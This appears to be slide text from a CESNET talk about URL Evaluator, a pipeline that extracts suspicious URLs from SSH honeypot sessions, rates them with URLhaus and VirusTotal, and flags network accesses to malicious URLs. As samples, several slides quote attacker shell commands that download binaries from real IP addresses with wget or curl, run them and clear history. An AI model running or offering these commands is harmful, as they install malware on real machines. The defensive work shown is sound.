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Introduction

 URL Evaluator
 An example of a simple, yet effective security automation pipeline

 It is a set of tools for ...
 collecting suspicious URLs from honeypots,

 semi-automatically evaluating whether they are malicious or not,

 detecting attempts to access the malicious URLs from our network.



Introduction

 CESNET = operator of Czech National Reaseach & Education Network (NREN)

 CESNET TMC department / Liberouter team (www.liberouter.org)

 Research - network monitoring, security
 Development of various tools

 Flow monitoring (incl. HW accelerated network cards), ML-based traffic classification, threat detection, 
anomaly detection, CTI collection and analysis, …

 One day, we decided to better utilize data from (SSH) honeypots
 Honeynet projects:

 CZ.NIC HaaS, CESNET HUGO, honeynet.asia



SSH honeypots – source of data

 SSH honeypot data:

 Information about incomming connections
 (we already used this)
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 SSH honeypot data:

 Information about incomming connections

 Full session logs (commands)



SSH honeypots – source of data

#!/bin/sh
PATH=...
wget http://43.249.172.195:888/112
curl -O http://43.249.172.195:888/112
chmod +x 112
./112
wget http://43.249.172.195:888/112s
curl -O http://43.249.172.195:888/112s
chmod +x 112s
./112s
rm -rf 112.sh
rm -rf 112
rm -rf 112s
history -c
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Detection of URLs in sessions (regex)

Sources of malware payload … or not?



SSH honeypots – source of data



SSH honeypots – source of data

Not every such URL is malicious!
We need to classily them somehow...



URL Evaluator architecture



URL evaluation process

Suspicious URL

Search URL in URLhaus

Search URL in VirusTotal

Download URL content
and compute SHA1 hash

Search hash in VirusTotal

malicious

maliciousharmless

unreachable

maliciousharmless

Manual analysis
and classification
by a SOC analyst

maliciousharmless

unclassified

~1 URL per day
on average



Web GUI



Web GUI



Other functions

 URL can be added manually via the Web GUI

 Each URL in the database is tested every
day whether it is still active

 Newly found malicious URLs (not on blacklist, yet) are sent to URLhaus
 Contribution to the community



Recursive URL extraction

 Often the URL content is just a script downloading something else ...

rm -rf /var/run/1sh; wget -c http://61.215.136.198/x/1sh -P /var/run && sh /var/run/1sh &

Honeypot session:



Recursive URL extraction

 Often the URL content is just a script downloading something else ...

rm -rf /var/run/1sh; wget -c http://61.215.136.198/x/1sh -P /var/run && sh /var/run/1sh &

Honeypot session:

wget http://61.215.136.198/x/pty -O pty ; chmod +x pty ; chmod 777 pty ; ./pty > /dev/null 2>&1 &
wget http://61.215.136.198/x/pty -O /var/tmp/pty ; chmod +x /var/tmp/pty ; chmod 777 /var/tmp/pty ; 
/var/tmp/pty > /dev/null 2>&1 &
wget http://61.215.136.198/x/pty -O /var/tmp/pty ; chmod +x /tmp/pty ; chmod 777 /tmp/pty ; /tmp/pty > 
/dev/null 2>&1 &
wget http://61.215.136.198/x/pty -O /var/run/pty ; chmod +x /var/run/pty ; chmod 777 /var/run/pty ; 
/var/run/pty > /dev/null 2>&1 &
wget http://61.215.136.198/x/pty -O /dev/shm/pty ; chmod +x /dev/shm/pty ; chmod 777 /dev/shm/pty ; 
/dev/shm/pty > /dev/null 2>&1 &

rm -rf irq*
wget http://61.215.136.198/x/irq0 -O irq0 ; chmod +x irq0 ; chmod 777 irq0 ; ./irq0 > /dev/null 2>&1 &
wget http://61.215.136.198/x/irq1 -O irq1 ; chmod +x irq1 ; chmod 777 irq1 ; ./irq1 > /dev/null 2>&1 &
...

Downloaded file:



Recursive URL extraction

 Often the URL content is just a script downloading something else ...

rm -rf /var/run/1sh; wget -c http://61.215.136.198/x/1sh -P /var/run && sh /var/run/1sh &

Honeypot session:

wget http://61.215.136.198/x/pty -O pty ; chmod +x pty ; chmod 777 pty ; ./pty > /dev/null 2>&1 &
wget http://61.215.136.198/x/pty -O /var/tmp/pty ; chmod +x /var/tmp/pty ; chmod 777 /var/tmp/pty ; 
/var/tmp/pty > /dev/null 2>&1 &
wget http://61.215.136.198/x/pty -O /var/tmp/pty ; chmod +x /tmp/pty ; chmod 777 /tmp/pty ; /tmp/pty > 
/dev/null 2>&1 &
wget http://61.215.136.198/x/pty -O /var/run/pty ; chmod +x /var/run/pty ; chmod 777 /var/run/pty ; 
/var/run/pty > /dev/null 2>&1 &
wget http://61.215.136.198/x/pty -O /dev/shm/pty ; chmod +x /dev/shm/pty ; chmod 777 /dev/shm/pty ; 
/dev/shm/pty > /dev/null 2>&1 &

rm -rf irq*
wget http://61.215.136.198/x/irq0 -O irq0 ; chmod +x irq0 ; chmod 777 irq0 ; ./irq0 > /dev/null 2>&1 &
wget http://61.215.136.198/x/irq1 -O irq1 ; chmod +x irq1 ; chmod 777 irq1 ; ./irq1 > /dev/null 2>&1 &
...

Downloaded file:

 URL Evaluator…
 detects text files,
 searches for more URLs,
 queues each of them for evalaution



Statistics

 URL Evaluator runs at CESNET for around 10 months now …

 Statistic from 3 months (summer 2024):

 70 new mal. URLs sumbittend to URLhaus.
URLs requiring manual analysis:

0–10 per day

(avg. ~1 per day)



Detection in network traffic

 There is an extensive monitoring infrastructure in our network
 Flow monitoring probes with L7 analysis → we can see (unencrypted) HTTP headers
 NEMEA framework for real-time flow analysis

 New module detecting accesses to malicious URLs
 Active URLs from URL Evaluator + URLhaus (~5000 entries)



Event reporting automation

 Detected attempts to access a mal. URL are processed automatically by CESNET’s existing set of 
tools ...

 Detected events are sent to Warden – alert sharing system
 collects alert data from multiple detection systems (flow monitoring, IDS, honeypots, …)
 distributes them to „consumers“ (various data processing systems)

 Stored and processed by Mentat system
 Sneds email reports to local security teams/administrators in our constituency (or at partner orgs.) regarding 

their IP addresses.



Report to user/administrator

 Example of a report about an access to malicious URL as shown in Mentat:



Summary

 Automation of one small aspect of cybersecurity operations:
 Gathering data from SSH honeypots
 Extraction of URLs
 Evaluation of URL maliciousness (manual in 2% of cases)
 Compilation of a blacklist
 Detection of accesses to malicious URLs in network traffic
 Reporting

 It already helped to detect a few real incidents
(poorly secured devices infected with malware)

 Open source codes:
https://github.com/CESNET/URL_Evaluator

https://github.com/CESNET/URL_Evaluator
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